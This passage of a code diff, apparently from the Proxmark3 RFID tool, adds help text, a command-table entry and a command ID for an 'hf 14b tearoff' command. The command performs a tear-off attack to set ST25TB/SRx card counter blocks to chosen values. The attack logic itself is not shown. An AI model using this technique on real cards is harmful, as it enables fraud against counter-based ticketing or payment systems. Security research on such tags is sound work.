"-h, --help This help",
|
||||
"-b, --block <dec> block number (typically 5 or 6 for ST25TB counters)",
|
||||
"-d, --data <hex> target counter value (4 hex bytes, e.g. FFFFFFFE)",
|
||||
"--adj <dec> tear-off timing step in us (default: 25)",
|
||||
"--safety <dec> safety threshold value (default: 0x1000)",
|
||||
"--start <dec> initial tear-off delay in us (default: 150)"
|
||||
],
|
||||
"usage": "hf 14b tearoff [-h] -b <dec> -d <hex> [--adj <dec>] [--safety <dec>] [--start <dec>]"
|
||||
},
|
||||
"hf 14b valid": {
|
||||
"command": "hf 14b valid",
|
||||
"description": "SRIX checksum test",
|
||||
|
||||
@@ -228,6 +228,7 @@ Check column "offline" for their availability.
|
||||
|`hf 14b sim `|N |`Fake ISO ISO-14443-B tag`
|
||||
|`hf 14b sniff `|N |`Eavesdrop ISO-14443-B`
|
||||
|`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag`
|
||||
|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks`
|
||||
|`hf 14b view `|Y |`Display content from tag dump file`
|
||||
|`hf 14b valid `|Y |`SRIX4 checksum test`
|
||||
|`hf 14b calypso `|N |`Read contents of a Calypso card`
|
||||
|
||||
@@ -775,6 +775,7 @@ typedef struct {
|
||||
#define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0
|
||||
#define CMD_HF_ISO14443B_GET_CONFIG 0x03D1
|
||||
#define CMD_HF_ISO14443B_SET_CONFIG 0x03D2
|
||||
#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3
|
||||
|
||||
// For measurements of the antenna tuning
|
||||
#define CMD_MEASURE_ANTENNA_TUNING 0x0400
|
||||
|
||||
Reference in New Issue
Block a user